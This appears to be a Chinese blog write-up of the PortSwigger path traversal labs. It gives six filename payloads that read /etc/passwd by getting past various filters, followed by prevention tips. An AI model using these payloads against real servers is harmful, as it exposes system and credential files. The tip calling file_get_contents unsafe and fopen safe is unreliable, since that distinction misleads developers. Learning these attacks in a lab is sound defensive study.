PortSwigger 路径遍历

一、什么是路径遍历漏洞

        路径遍历漏洞允许攻击者通过构造特殊的输入,绕过应用程序的安全限制,访问或执行服务器上的任意文件或目录。这些文件可能包括应用程序代码和数据、后端系统的凭据以及敏感的操作系统文件等。

二、文件路径遍历,简单情况

filename=../../../etc/passwd

三、文件路径遍历,被绝对路径旁路阻塞的遍历序列

filename=/etc/passwd

四、文件路径遍历,非递归剥离的遍历序列

filename=....//....//....//etc/passwd

五、文件路径遍历,用多余的 URL 解码剥离的遍历序列

filename=..%252f..%252f..%252fetc/passwd

六、文件路径遍历,验证路径的开头

filename=/var/www/images/../../../etc/passwd

七、文件路径遍历,使用空字节绕过验证文件扩展名

filename=../../../etc/passwd%00.png

八、如何防止路径遍历攻击

  • 严格输入验证:对用户输入的文件路径进行严格的验证和过滤,确保只接受合法的文件路径。可以使用正则表达式、白名单等方式来限制用户输入
  • 使用安全的文件操作函数:避免使用不安全的文件操作函数,如fread、fwrite、file_get_contents等。这些函数直接将用户输入作为文件路径,容易引发路径遍历漏洞。应该使用更加安全的文件操作函数,如fopen、fclose、fgets等,并在打开文件之前进行充分的检查
  • 路径规范化:在构建文件路径之前,对用户输入进行规范化处理。例如,将路径分隔符替换为标准分隔符(如使用斜杠“/”而不是反斜杠“\”),并确保路径的开始点在应用程序的根目录之下
  • 设置安全的文件和目录权限:对敏感文件和目录设置最小必要的权限,只允许文件所有者或特定的用户组访问这些文件。同时,定期检查文件和目录的权限设置,确保没有不必要的权限被赋予
  • 运行在沙盒环境中:将应用程序运行在沙盒环境中,限制其对系统资源的访问权限。这样即使应用程序存在路径遍历漏洞,攻击者也无法利用该漏洞执行恶意代码或访问敏感文件
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值